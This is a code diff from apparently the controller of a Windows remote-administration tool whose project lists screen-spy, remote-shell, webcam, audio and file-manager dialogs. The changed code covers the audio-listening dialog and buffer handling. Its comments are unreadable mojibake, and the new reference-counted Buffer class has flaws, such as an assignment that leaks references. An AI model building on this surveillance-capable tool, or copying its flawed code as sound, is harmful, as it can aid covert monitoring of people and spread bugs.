||||||
|
<ClInclude Include="BuildDlg.h" />
|
||||||
|
<ClInclude Include="CpuUseage.h" />
|
||||||
|
<ClInclude Include="EditDialog.h" />
|
||||||
|
<ClInclude Include="FileManagerDlg.h" />
|
||||||
|
<ClInclude Include="FileTransferModeDlg.h" />
|
||||||
|
<ClInclude Include="iniFile.h" />
|
||||||
|
<ClInclude Include="InputDlg.h" />
|
||||||
|
<ClInclude Include="IOCPServer.h" />
|
||||||
|
<ClInclude Include="RegisterDlg.h" />
|
||||||
|
<ClInclude Include="Resource.h" />
|
||||||
|
<ClInclude Include="ScreenSpyDlg.h" />
|
||||||
|
<ClInclude Include="ServicesDlg.h" />
|
||||||
|
<ClInclude Include="SettingDlg.h" />
|
||||||
|
<ClInclude Include="ShellDlg.h" />
|
||||||
|
<ClInclude Include="stdafx.h" />
|
||||||
|
<ClInclude Include="SystemDlg.h" />
|
||||||
|
<ClInclude Include="TalkDlg.h" />
|
||||||
|
<ClInclude Include="targetver.h" />
|
||||||
|
<ClInclude Include="TrueColorToolBar.h" />
|
||||||
|
<ClInclude Include="VideoDlg.h" />
|
||||||
|
<ClInclude Include="zconf.h" />
|
||||||
|
<ClInclude Include="zlib.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="2015Remote.cpp" />
|
||||||
|
<ClCompile Include="2015RemoteDlg.cpp" />
|
||||||
|
<ClCompile Include="Audio.cpp" />
|
||||||
|
<ClCompile Include="AudioDlg.cpp" />
|
||||||
|
<ClCompile Include="Buffer.cpp" />
|
||||||
|
<ClCompile Include="BuildDlg.cpp" />
|
||||||
|
<ClCompile Include="CpuUseage.cpp" />
|
||||||
|
<ClCompile Include="EditDialog.cpp" />
|
||||||
|
<ClCompile Include="FileManagerDlg.cpp" />
|
||||||
|
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||||
|
<ClCompile Include="iniFile.cpp" />
|
||||||
|
<ClCompile Include="InputDlg.cpp" />
|
||||||
|
<ClCompile Include="IOCPServer.cpp" />
|
||||||
|
<ClCompile Include="RegisterDlg.cpp" />
|
||||||
|
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||||
|
<ClCompile Include="ServicesDlg.cpp" />
|
||||||
|
<ClCompile Include="SettingDlg.cpp" />
|
||||||
|
<ClCompile Include="ShellDlg.cpp" />
|
||||||
|
<ClCompile Include="stdafx.cpp">
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="SystemDlg.cpp" />
|
||||||
|
<ClCompile Include="TalkDlg.cpp" />
|
||||||
|
<ClCompile Include="TrueColorToolBar.cpp" />
|
||||||
|
<ClCompile Include="VideoDlg.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="2015Remote.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Text Include="..\..\ReadMe.md" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Image Include="res\Bitmap_4.bmp" />
|
||||||
|
<Image Include="res\Bitmap_5.bmp" />
|
||||||
|
<Image Include="res\delete.bmp" />
|
||||||
|
<Image Include="res\toolbar1.bmp" />
|
||||||
|
<Image Include="res\toolbar2.bmp" />
|
||||||
|
<Image Include="res\update.bmp" />
|
||||||
|
<Image Include="res\webcam.ico" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
<ProjectExtensions>
|
||||||
|
<VisualStudio>
|
||||||
|
<UserProperties RESOURCE_FILE="2015Remote.rc" />
|
||||||
|
</VisualStudio>
|
||||||
|
</ProjectExtensions>
|
||||||
|
</Project>
|
||||||
@@ -33,8 +33,7 @@ CAudio::CAudio()
|
|||||||
|
|
||||||
m_ulBufferLength = 1000;
|
m_ulBufferLength = 1000;
|
||||||
|
|
||||||
int i = 0;
|
for (int i = 0; i < 2; ++i)
|
||||||
for (i = 0; i < 2; ++i)
|
|
||||||
{
|
{
|
||||||
m_InAudioData[i] = new BYTE[m_ulBufferLength];
|
m_InAudioData[i] = new BYTE[m_ulBufferLength];
|
||||||
m_InAudioHeader[i] = new WAVEHDR;
|
m_InAudioHeader[i] = new WAVEHDR;
|
||||||
|
|||||||
@@ -46,6 +46,7 @@ void CAudioDlg::DoDataExchange(CDataExchange* pDX)
|
|||||||
|
|
||||||
BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
|
BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
|
||||||
ON_WM_CLOSE()
|
ON_WM_CLOSE()
|
||||||
|
ON_BN_CLICKED(IDC_CHECK, &CAudioDlg::OnBnClickedCheck)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
@@ -70,6 +71,9 @@ BOOL CAudioDlg::OnInitDialog()
|
|||||||
|
|
||||||
m_bThreadRun = m_hWorkThread ? TRUE : FALSE;
|
m_bThreadRun = m_hWorkThread ? TRUE : FALSE;
|
||||||
|
|
||||||
|
// "<22><><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22>ᵼ<EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"OnBnClickedCheck"
|
||||||
|
GetDlgItem(IDC_CHECK)->EnableWindow(FALSE);
|
||||||
|
|
||||||
return TRUE; // return TRUE unless you set the focus to a control
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||||
}
|
}
|
||||||
@@ -82,7 +86,7 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam)
|
|||||||
{
|
{
|
||||||
if (!This->m_bSend)
|
if (!This->m_bSend)
|
||||||
{
|
{
|
||||||
Sleep(50);
|
WAIT(This->m_bIsWorking, 1, 50);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
DWORD dwBufferSize = 0;
|
DWORD dwBufferSize = 0;
|
||||||
@@ -101,14 +105,13 @@ void CAudioDlg::OnReceiveComplete(void)
|
|||||||
m_nTotalRecvBytes += m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; //1000+ =1000 1
|
m_nTotalRecvBytes += m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; //1000+ =1000 1
|
||||||
CString strString;
|
CString strString;
|
||||||
strString.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024);
|
strString.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024);
|
||||||
SetDlgItemText(IDC_TIP, strString);
|
SetDlgItemText(IDC_TIPS, strString);
|
||||||
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
|
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0))
|
||||||
{
|
{
|
||||||
case TOKEN_AUDIO_DATA:
|
case TOKEN_AUDIO_DATA:
|
||||||
{
|
{
|
||||||
|
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
|
||||||
m_AudioObject.PlayBuffer(m_ContextObject->InDeCompressedBuffer.GetBuffer(1),
|
m_AudioObject.PlayBuffer(tmp.Buf(), tmp.length()); //<2F><><EFBFBD>Ų<EFBFBD><C5B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1); //<2F><><EFBFBD>Ų<EFBFBD><C5B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -134,3 +137,14 @@ void CAudioDlg::OnClose()
|
|||||||
delete this;
|
delete this;
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6>
|
||||||
|
void CAudioDlg::OnBnClickedCheck()
|
||||||
|
{
|
||||||
|
// @notice 2019.1.26
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22><><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22><><EFBFBD>ض˱<D8B6><CBB1><EFBFBD><EFBFBD><EFBFBD>zlib inffas32.asm
|
||||||
|
// <20>轫<EFBFBD><E8BDAB><EFBFBD>ض<EFBFBD>zlib<69><62><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><D8B6><EFBFBD><EFBFBD>±<EFBFBD><C2B1><EFBFBD>
|
||||||
|
// <20><><EFBFBD>Ǽ<EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><D8B6>ڿ<EFBFBD><DABF><EFBFBD>"<22><><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"ʱ<><CAB1><EFBFBD>ױ<EFBFBD><D7B1><EFBFBD>
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
UpdateData(true);
|
||||||
|
}
|
||||||
|
|||||||
@@ -33,7 +33,8 @@ protected:
|
|||||||
|
|
||||||
DECLARE_MESSAGE_MAP()
|
DECLARE_MESSAGE_MAP()
|
||||||
public:
|
public:
|
||||||
BOOL m_bSend;
|
BOOL m_bSend; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6>
|
||||||
virtual BOOL OnInitDialog();
|
virtual BOOL OnInitDialog();
|
||||||
afx_msg void OnClose();
|
afx_msg void OnClose();
|
||||||
|
afx_msg void OnBnClickedCheck();
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -6,6 +6,7 @@
|
|||||||
|
|
||||||
#define U_PAGE_ALIGNMENT 3
|
#define U_PAGE_ALIGNMENT 3
|
||||||
#define F_PAGE_ALIGNMENT 3.0
|
#define F_PAGE_ALIGNMENT 3.0
|
||||||
|
|
||||||
CBuffer::CBuffer(void)
|
CBuffer::CBuffer(void)
|
||||||
{
|
{
|
||||||
m_ulMaxLength = 0;
|
m_ulMaxLength = 0;
|
||||||
@@ -30,25 +31,29 @@ CBuffer::~CBuffer(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
ULONG CBuffer::RemoveComletedBuffer(ULONG ulLength)
|
ULONG CBuffer::RemoveCompletedBuffer(ULONG ulLength)
|
||||||
{
|
{
|
||||||
if (ulLength >GetBufferMaxLength()) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><C4B3>ȱ<EFBFBD><C8B1>ڴ<EFBFBD><DAB4>ij<EFBFBD><C4B3>Ȼ<EFBFBD><C8BB><EFBFBD>
|
EnterCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
if (ulLength > m_ulMaxLength) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><C4B3>ȱ<EFBFBD><C8B1>ڴ<EFBFBD><DAB4>ij<EFBFBD><C4B3>Ȼ<EFBFBD><C8BB><EFBFBD>
|
||||||
{
|
{
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
if (ulLength >GetBufferLength()) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD> <20><><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3>Ȼ<EFBFBD><C8BB><EFBFBD>
|
if (ulLength > ((ULONG)m_Ptr - (ULONG)m_Base)) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD> <20><><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3>Ȼ<EFBFBD><C8BB><EFBFBD>
|
||||||
{
|
{
|
||||||
ulLength = GetBufferLength();
|
ulLength = (ULONG)m_Ptr - (ULONG)m_Base;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ulLength)
|
if (ulLength)
|
||||||
{
|
{
|
||||||
MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength); //<2F><><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0> [Shinexxxx??]
|
MoveMemory(m_Base,m_Base+ulLength, m_ulMaxLength - ulLength); //<2F><><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0> [Shinexxxx??]
|
||||||
|
|
||||||
m_Ptr -= ulLength;
|
m_Ptr -= ulLength;
|
||||||
}
|
}
|
||||||
|
|
||||||
DeAllocateBuffer(GetBufferLength());
|
DeAllocateBuffer((ULONG)m_Ptr - (ULONG)m_Base);
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
|
||||||
return ulLength;
|
return ulLength;
|
||||||
}
|
}
|
||||||
@@ -57,44 +62,46 @@ ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
|
|||||||
{
|
{
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
|
|
||||||
if (ulLength > GetBufferMaxLength())
|
if (ulLength > m_ulMaxLength)
|
||||||
{
|
{
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
if (ulLength > GetBufferLength())
|
|
||||||
|
if (ulLength > ((ULONG)m_Ptr - (ULONG)m_Base))
|
||||||
{
|
{
|
||||||
ulLength = GetBufferLength();
|
ulLength = (ULONG)m_Ptr - (ULONG)m_Base;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ulLength)
|
if (ulLength)
|
||||||
{
|
{
|
||||||
CopyMemory(Buffer,m_Base,ulLength);
|
CopyMemory(Buffer,m_Base,ulLength);
|
||||||
|
|
||||||
MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength);
|
MoveMemory(m_Base,m_Base+ulLength, m_ulMaxLength - ulLength);
|
||||||
m_Ptr -= ulLength;
|
m_Ptr -= ulLength;
|
||||||
}
|
}
|
||||||
|
|
||||||
DeAllocateBuffer(GetBufferLength());
|
DeAllocateBuffer((ULONG)m_Ptr - (ULONG)m_Base);
|
||||||
|
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
return ulLength;
|
return ulLength;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ˽<><CBBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)
|
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)
|
||||||
{
|
{
|
||||||
if (ulLength < GetBufferLength())
|
if (ulLength < ((ULONG)m_Ptr - (ULONG)m_Base))
|
||||||
return 0;
|
return 0;
|
||||||
|
|
||||||
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||||
|
|
||||||
if (GetBufferMaxLength() <= ulNewMaxLength)
|
if (m_ulMaxLength <= ulNewMaxLength)
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||||
|
|
||||||
ULONG ulv1 = GetBufferLength(); //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD>
|
ULONG ulv1 = (ULONG)m_Ptr - (ULONG)m_Base; //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD>
|
||||||
CopyMemory(NewBase,m_Base,ulv1);
|
CopyMemory(NewBase,m_Base,ulv1);
|
||||||
|
|
||||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||||
@@ -113,7 +120,7 @@ BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
|
|||||||
{
|
{
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
|
|
||||||
if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1 1024
|
if (ReAllocateBuffer(ulLength + ((ULONG)m_Ptr - (ULONG)m_Base)) == -1)//10 +1 1024
|
||||||
{
|
{
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
return false;
|
return false;
|
||||||
@@ -126,9 +133,10 @@ BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ˽<><CBBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength)
|
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||||
{
|
{
|
||||||
if (ulLength < GetBufferMaxLength())
|
if (ulLength < m_ulMaxLength)
|
||||||
return 0;
|
return 0;
|
||||||
|
|
||||||
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||||
@@ -138,7 +146,9 @@ ULONG CBuffer::ReAllocateBuffer(ULONG ulLength)
|
|||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
ULONG ulv1 = GetBufferLength(); //ԭ<>ȵ<EFBFBD><C8B5><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
|
||||||
|
ULONG ulv1 = (ULONG)m_Ptr - (ULONG)m_Base; //ԭ<>ȵ<EFBFBD><C8B5><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||||
|
|
||||||
CopyMemory(NewBase,m_Base,ulv1);
|
CopyMemory(NewBase,m_Base,ulv1);
|
||||||
|
|
||||||
if (m_Base)
|
if (m_Base)
|
||||||
@@ -162,29 +172,75 @@ VOID CBuffer::ClearBuffer()
|
|||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
}
|
}
|
||||||
|
|
||||||
ULONG CBuffer::GetBufferLength() const //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
ULONG CBuffer::GetBufferLength() // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><EFBFBD><EFBFBD>
|
||||||
{
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
if (m_Base == NULL)
|
if (m_Base == NULL)
|
||||||
|
{
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
return 0;
|
return 0;
|
||||||
|
}
|
||||||
|
ULONG len = (ULONG)m_Ptr - (ULONG)m_Base;
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
|
||||||
return (ULONG)m_Ptr - (ULONG)m_Base;
|
return len;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// <20>˺<EFBFBD><CBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƕ<EFBFBD><C7B6>̰߳<DFB3>ȫ<EFBFBD><C8AB>. ֻ<><D6BB>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.
|
||||||
ULONG CBuffer::GetBufferMaxLength() const
|
LPBYTE CBuffer::GetBuffer(ULONG ulPos)
|
||||||
{
|
{
|
||||||
return m_ulMaxLength;
|
EnterCriticalSection(&m_cs);
|
||||||
}
|
if (m_Base==NULL || ulPos >= ((ULONG)m_Ptr - (ULONG)m_Base))
|
||||||
|
|
||||||
PBYTE CBuffer::GetBuffer(ULONG ulPos) const
|
|
||||||
{
|
|
||||||
if (m_Base==NULL)
|
|
||||||
{
|
{
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
if (ulPos>=GetBufferLength())
|
LPBYTE result = m_Base + ulPos;
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20>˺<EFBFBD><CBBA><EFBFBD><EFBFBD>Ƕ<EFBFBD><C7B6>̰߳<DFB3>ȫ<EFBFBD><C8AB>. <20><>ȡ<EFBFBD><C8A1><EFBFBD>棬<EFBFBD>õ<EFBFBD>Buffer<65><72><EFBFBD><EFBFBD>.
|
||||||
|
Buffer CBuffer::GetMyBuffer(ULONG ulPos)
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
ULONG len = (ULONG)m_Ptr - (ULONG)m_Base;
|
||||||
|
if (m_Base == NULL || ulPos >= len)
|
||||||
{
|
{
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return Buffer();
|
||||||
|
}
|
||||||
|
Buffer result = Buffer(m_Base+ulPos, len - ulPos);
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20>˺<EFBFBD><CBBA><EFBFBD><EFBFBD>Ƕ<EFBFBD><C7B6>̰߳<DFB3>ȫ<EFBFBD><C8AB>. <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>λ<EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD>ֵ.
|
||||||
|
BYTE CBuffer::GetBYTE(ULONG ulPos) {
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
if (m_Base == NULL || ulPos >= ((ULONG)m_Ptr - (ULONG)m_Base))
|
||||||
|
{
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
return m_Base+ulPos;
|
BYTE p = *(m_Base + ulPos);
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20>˺<EFBFBD><CBBA><EFBFBD><EFBFBD>Ƕ<EFBFBD><C7B6>̰߳<DFB3>ȫ<EFBFBD><C8AB>. <20><><EFBFBD><EFBFBD><EFBFBD>濽<EFBFBD><E6BFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>.
|
||||||
|
BOOL CBuffer::CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos) {
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
ULONG len = (ULONG)m_Ptr - (ULONG)m_Base;
|
||||||
|
if (m_Base == NULL || len - ulPos < nLen)
|
||||||
|
{
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
memcpy(pDst, m_Base+ulPos, nLen);
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return TRUE;
|
||||||
}
|
}
|
||||||
@@ -1,5 +1,62 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#include <Windows.h>
|
#include <Windows.h>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
// Buffer <20><><EFBFBD><EFBFBD><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD>.
|
||||||
|
class Buffer {
|
||||||
|
private:
|
||||||
|
PBYTE buf;
|
||||||
|
ULONG len;
|
||||||
|
ULONG *ref;
|
||||||
|
void AddRef() {
|
||||||
|
(*ref)++;
|
||||||
|
}
|
||||||
|
void DelRef() {
|
||||||
|
(*ref)--;
|
||||||
|
}
|
||||||
|
public:
|
||||||
|
LPBYTE &Buf() {
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
~Buffer() {
|
||||||
|
DelRef();
|
||||||
|
if (*ref == 0) {
|
||||||
|
if (buf!=NULL)
|
||||||
|
{
|
||||||
|
delete[] buf;
|
||||||
|
buf = NULL;
|
||||||
|
}
|
||||||
|
delete ref;
|
||||||
|
ref = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Buffer():buf(NULL), len(0), ref(new ULONG(1)) {
|
||||||
|
|
||||||
|
}
|
||||||
|
Buffer(const BYTE * b, int n):len(n), ref(new ULONG(1)){
|
||||||
|
buf = new BYTE[n];
|
||||||
|
memcpy(buf, b, n);
|
||||||
|
}
|
||||||
|
Buffer(Buffer& o) {
|
||||||
|
o.AddRef();
|
||||||
|
buf = o.buf;
|
||||||
|
len = o.len;
|
||||||
|
ref = o.ref;
|
||||||
|
}
|
||||||
|
Buffer operator =(Buffer &o) {
|
||||||
|
o.AddRef();
|
||||||
|
buf = o.buf;
|
||||||
|
len = o.len;
|
||||||
|
ref = o.ref;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
char* c_str() const {
|
||||||
|
return (char*)buf;
|
||||||
|
}
|
||||||
|
ULONG length()const {
|
||||||
|
return len;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
class CBuffer
|
class CBuffer
|
||||||
{
|
{
|
||||||
@@ -7,21 +64,21 @@ public:
|
|||||||
CBuffer(void);
|
CBuffer(void);
|
||||||
~CBuffer(void);
|
~CBuffer(void);
|
||||||
|
|
||||||
ULONG GetBufferMaxLength() const;
|
|
||||||
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
||||||
ULONG GetBufferLength() const; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>;
|
ULONG GetBufferLength(); // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><EFBFBD><EFBFBD>
|
||||||
ULONG DeAllocateBuffer(ULONG ulLength);
|
|
||||||
VOID ClearBuffer();
|
VOID ClearBuffer();
|
||||||
ULONG ReAllocateBuffer(ULONG ulLength);
|
|
||||||
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
||||||
PBYTE GetBuffer(ULONG ulPos=0) const;
|
LPBYTE GetBuffer(ULONG ulPos);
|
||||||
ULONG RemoveComletedBuffer(ULONG ulLength);
|
Buffer GetMyBuffer(ULONG ulPos);
|
||||||
VOID ReleaseMember();
|
BYTE GetBYTE(ULONG ulPos);
|
||||||
VOID InitMember();
|
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos);
|
||||||
|
ULONG RemoveCompletedBuffer(ULONG ulLength);
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
PBYTE m_Base;
|
PBYTE m_Base;
|
||||||
PBYTE m_Ptr;
|
PBYTE m_Ptr;
|
||||||
ULONG m_ulMaxLength;
|
